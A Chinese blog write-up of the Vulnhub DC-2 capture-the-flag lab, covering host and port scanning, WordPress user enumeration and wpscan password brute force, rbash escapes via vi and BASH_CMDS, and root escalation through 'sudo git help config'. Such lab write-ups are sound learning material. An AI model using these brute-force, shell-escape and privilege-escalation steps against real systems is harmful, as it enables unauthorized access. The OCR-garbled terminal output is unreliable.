Vulnhub DC-2

靶场链接

https://www.vulnhub.com/entry/dc-2,311/

 

一、信息收集

1、使用arp-sacn探测同一区域中的存活主机

arp-scan -l

L / home/ kiny00biJ arp-scan -l Interface: eth@, type: ENIOMB, MAC: Ipv4: 192.168.226.128 Starting arp-scan 1.9.7 With 256 hosts (https://github.com/royhills/arp-scan) 192. 168.226.2 192. 168.226.1 192. 168.226.133 192.168.226.254 4 packets received by Ending arp-scan 1.9.7: onded co: 00:08 VMwa re , VMwa re , VMwa re , VMwa re , filter, @ packets dropped Inc. Inc. Inc. Inc. by kernel 256 hosts scanned in 1.893 seconds (135.24 hosts/sec) . 4 resp

可以锁定192.168.226.133为靶场ip。

 

2、使用nmap进行端口扫描

nmap -sS -v 192.168.226.133

/home/kinyoobiJ 192. 168.226. 133 Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-08 15:43 CST Initiating ARP Ping Scan at 15:43 Scanning 192.168.226.133 [1 port] Completed ARP Ping Scan at 15:43, 0.02s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 15:43 Completed Parallel DNS resolution of 1 host. at 15:43, 0.09s elapsed Initiating SYN Stealth Scan at 15:43 Scanning 192.168.226.133 [1000 ports] Discovered open port 80/tcp on 192.168.226.133 Completed SYN Stealth Scan at 15:43, 0.06s elapsed (1000 total ports Nmap scan report for 192.168.226.133 Host is up (O. 006056s latency) . Not shown: 999 closed tcp ports (reset) PORT STATE SERVICE 80/tcp open http MAC Address: (VMware) Read data files from: /usr/bin/. ./share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.23 Raw packets sent: 1001 (44.028KB) I Rcvd: seconds 1001 (40.032KB)

3、开了一个80端口，但是打不开对应网页，尝试修改host文件。

e L / home/kinyoobi ] /etc/hosts cat 127.€.0.1 127.€.1.1 I—it localhost kali 192.168.226.133 dc-2 # The following lines are desirable for IPv6 capable hosts localhost ip6-localhost ip6- loopback ff02 ::1 ip6-allnodes ff@2. ip6-a11routers

4、打开网站可以发现其cms平台为wordpress，点击flag。

DC-2 — Just another X e dc-2 —DC-2 Justawther Word Press site Welcome What we Do Our People Ou r Prod Flag

5、flag1提示常用的密码字典或许无法破解，但可以使用cewl，登陆其中一个账户就可以找到下一个flag。

cewl是利用爬虫技术对网站作者的写作习惯进行分析并得出可能的密码字典。

Welcome FLAG What we Do Our People Our ProdiRtS Flag Your usual wordlists probabty won't work, so instead, maybe you just need to be cewl. More passwords is always better, but sometimes you just can't win them all. Log in as one to see the next flag. If you can't find it, log in as another. 

cewl dc-2 -w de2pw.txt

e cewl dc-2 [ / home/kinyoobi ] dc2pw. txt CeWL 5.5.2 (Grouping) Robin Wood (robin@digi.ninja) i. ninja/ ) e [ / home/kinyoobi ] cat dc2pw.txt sit amet nec qu1S vel orci site non sed (https://dig

6、得到了密码，我们还需要用户名，因为是wordpress的CMS，这里用到wpscan。

wpscan --url dc-2 -eu

User(s) Identified: admin I Found By: Rss Generator (Passive Detection) I Confirmed By: I Wp Json Api (Aggressive Detection) - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1 I Author Id Brute Forcing - Author Pattern (Aggressive Detection) I Login Error Messages (Aggressive Detection) Jerry I Found By: Wp Json Api (Aggressive Detection) http://dc-2/index. php/wp - j son/wp/v2/ use rs/ I Confirmed By: I Author Id Brute Forcing - Author Pattern (Aggressive Detection) I Login Error Messages (Aggressive Detection) tom I Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) I Confirmed By: Login Error Messages (Aggressive Detection)

找到三个用户名：admin，jerry，tom。将它们写入一个用户名字典并利用wpscan爆破出密码。

wpscan --url dc-2 -P dc2pw.txt

Valid Combinations Found: I Username: jerry, Password: adipiscing I Username: tom, Password: parturient 

Username: jerry, Password: adipiscing
Username: tom, Password: parturient

7、由于找不到登录的入口，先使用dirsearch扫一下。

python3 dirsearch.py -u 192.168.226.133

361 33/wp-includes/ 200 302 324B 1B - /wp-includes -s http://192.168.226.1 - /wp-admin/admin-ajax php /wp- admin/ http://dc-2/wp-login.p hp ? redi rect_ to=http%3A%2F%2F192.168.226.133%2Fwp - 200 302 4@KB IKB 2KB -includes/rss-functions.php - /wp-includes/ /wp-admin/setup-contig.php - /wp-admin/install.php -cron. h - /wp-login.php wp-sugnup.p p -> http://dc-2/wp-log in . php?action=register

可以看到登陆页面，用上面得出的账号密码进行登录。

oc.z + is notify site pages AddNe-,s Aum Bulk Act i ms Apply All Flag 2 Ow people Seaæh items

发现flag2，点击查看。

X php?post OC-2 C New Edit Page Flag 2 Add Media paQgoph Hag 2: =21eaction: G'da•i. Mæase I preview Cha* s It you cant exploit WordPress and take a shortcut, there is another way. Hope you found another entry point Statw Visibility: page Attributes

If you can't exploit WordPress and take a shortcut, there is another way.

Hope you found another entry point.

如果您无法利用WordPress并采取捷径，还有另一种方法。希望你找到了另一个切入点。

捷径：可以利用wpscan扫出来的wordpress版本信息和CVE。

8、咱还是找找另一个切入点。

1）再用nmap全面扫一次，发现还有个ssh端口7744。

nmap -A -p- 192.168.226.133

/home/kinyoobi/tools/dirsearchl 192. 168.226. 133 Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-09 16:29 CST Nmap scan report for dc-2 (192.168.226.133) Host is up (0.00638s latency) . Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION O/tcp open http Apache httpd 2.4.10 ( (Debian)) I http-server-header: Apache/2 .4.10 (Debian) I http-generator: WordPress 4.7.10 I http-title: DC-2 – Just another WordPress site OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.6) 744/tcp open ssh I ssh-hostkey: 1024 (DSA) 2048 (RSA) 256 (ECDSA) 256 (025519) ress: are Device type: general purpose Running: Linux 3.X14.X OS CPE: cpe:/o:linux:linux kernel:3 cpe:/o: Linux: Linux kernel OS details: Linux 3.2 - 4.9

2）尝试用刚刚两个账号登录，tom可以登陆成功

ssh tom@192.168.226.133 -p 7744

3）发现有个flag3，cat无法使用，用vi查看

Is flag3. txt usr tom@DC-2:—$ cat flag3 . txt -rbash: cat: command not found tom@DC-2:-$ whoami -rbash: whoami: less Is scp command not found usr/bin flag3. txt'

4）原来jerry权限比tom高，需要提权。

Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

 

二、绕过rbash进行提权

1、法一:

1）新建一个shell.txt，在里边输入：

: set shell =/bin/sh
: shell

就可以得到sh权限。

2）改变一下环境变量

export PATH=/usr/sbin:/usr/bin:/sbin:/bin

$ whoami /bin/sh: 1: whoami: not found $ export export export export export export export export export export export export export export export export export HOME- ' /home/tom ' LANG- 'en US.UTF-8' LOGNAME= tom ' MAIL- ' /var/mail/tom PATH- ' /home/tom/usr/bin ' PWD= • /home/tom SHELL— ' /bin/ rbash ' SHLVL='I' SSH CLIENT=' 192.168.226.128 39976 7744' SSH CONNECTION=' 192 .168.226.128 39979 192.168.226.133 7744' SSH TTY=' /dev/pts/9' TERM= ' xterm-256color' USER= ' tom VIM=' /usr/sha re/vim• VIMRUNTIME= ' /usr/ share/vim/vim74 ' = ' whoami $ export PATH=/usr/sbin:/usr/bin:/sbin:/bin $ id gid=1901 (tom) groups=1091 (tom) $ su jerry Password: jerry@DC-2:/home/tom$

2、法二:

PATH和SHELL变量很可能是'-rx'，这意味着只能执行不能写入。（如果可写就直接写入/bin/bash）

tom@DC 2 - export -p dec la re -x HOME=" /home/tom" decla re -x US. UTE -8" decla re decla re -x MAIL=" /var/mail/tom" decla re -x OLDPWD decla re -rx PATH=" /home/tom/usr/bln" decla re -x PWD=" /home/tom" decla re -rx SHELL-I'/ as declare -x decla re decla re 7744" decla re decla re declare -x -x -x -x -x LVL= SSH CLIENT-"192.168.226.128 39974 7744" SSH CONNECTION-"192.168.226.128 39974 192.168.226.133 SSH TTY=" /dev/pts/O" USER- 

BASH_CMDS[a]=/bin/sh;a    	#把/bin/sh给a变量
export PATH=$PATH:/bin/    	#将/bin 作为PATH环境变量导出
export PATH=$PATH:/usr/bin      #将/usr/bin作为PATH环境变量导出

BASH $ export $ export $ echo /* /bin /boot /dev /etc /home /initrd.img /lib /lost+found /media /m nt /opt /proc /root /run /sbin /srv /sys /tmp /usr /var /vmlinuz $ su jerry Password: jerry@DC-2:/home/tom$ id

得到flag4.txt，提示可以利用git提权。

cd flag4. txt cat flag4. txt Good to see that you 've made it this far - but you' re not home yet. You still need to get the final flag (the only flag that really counts! ! ! ) . NO hints here - you' re on your own now. git outta here! GO on -

 

三、git提权

使用sudo -l 看一下可以以root权限执行什么命令。

jerry@DC-2:-$ sudo -l Matching Defaults entries for jerry on DC-2: env reset, mail badpass, secure : User jerry may run the followin commands on DC-2: ( root) NOPASSWD: /usr/bin/git

网上查阅到git提权的方法：

 

拿一个试一下，即可得到最后的flag。

sudo git help config
!/bin/bash

jerry@DC-2:-$ sudo git help config id root) root) root) _/ Ill (l Is final - flag . txt cat cd / root final-flag. txt \ Il Congratulatons! A special thanks to all those who sent me tweets and provided me with feedback - it's all greatly appreciated.

 

 

参考链接

https://xz.aliyun.com/t/7642

https://cloud.tencent.com/developer/article/1680551

https://www.freebuf.com/articles/system/188989.html

https://gtfobins.github.io/gtfobins/git/

 

 

posted @ 2022-03-23 16:45  kinyoobi  阅读(60)  评论(0)  编辑  收藏  举报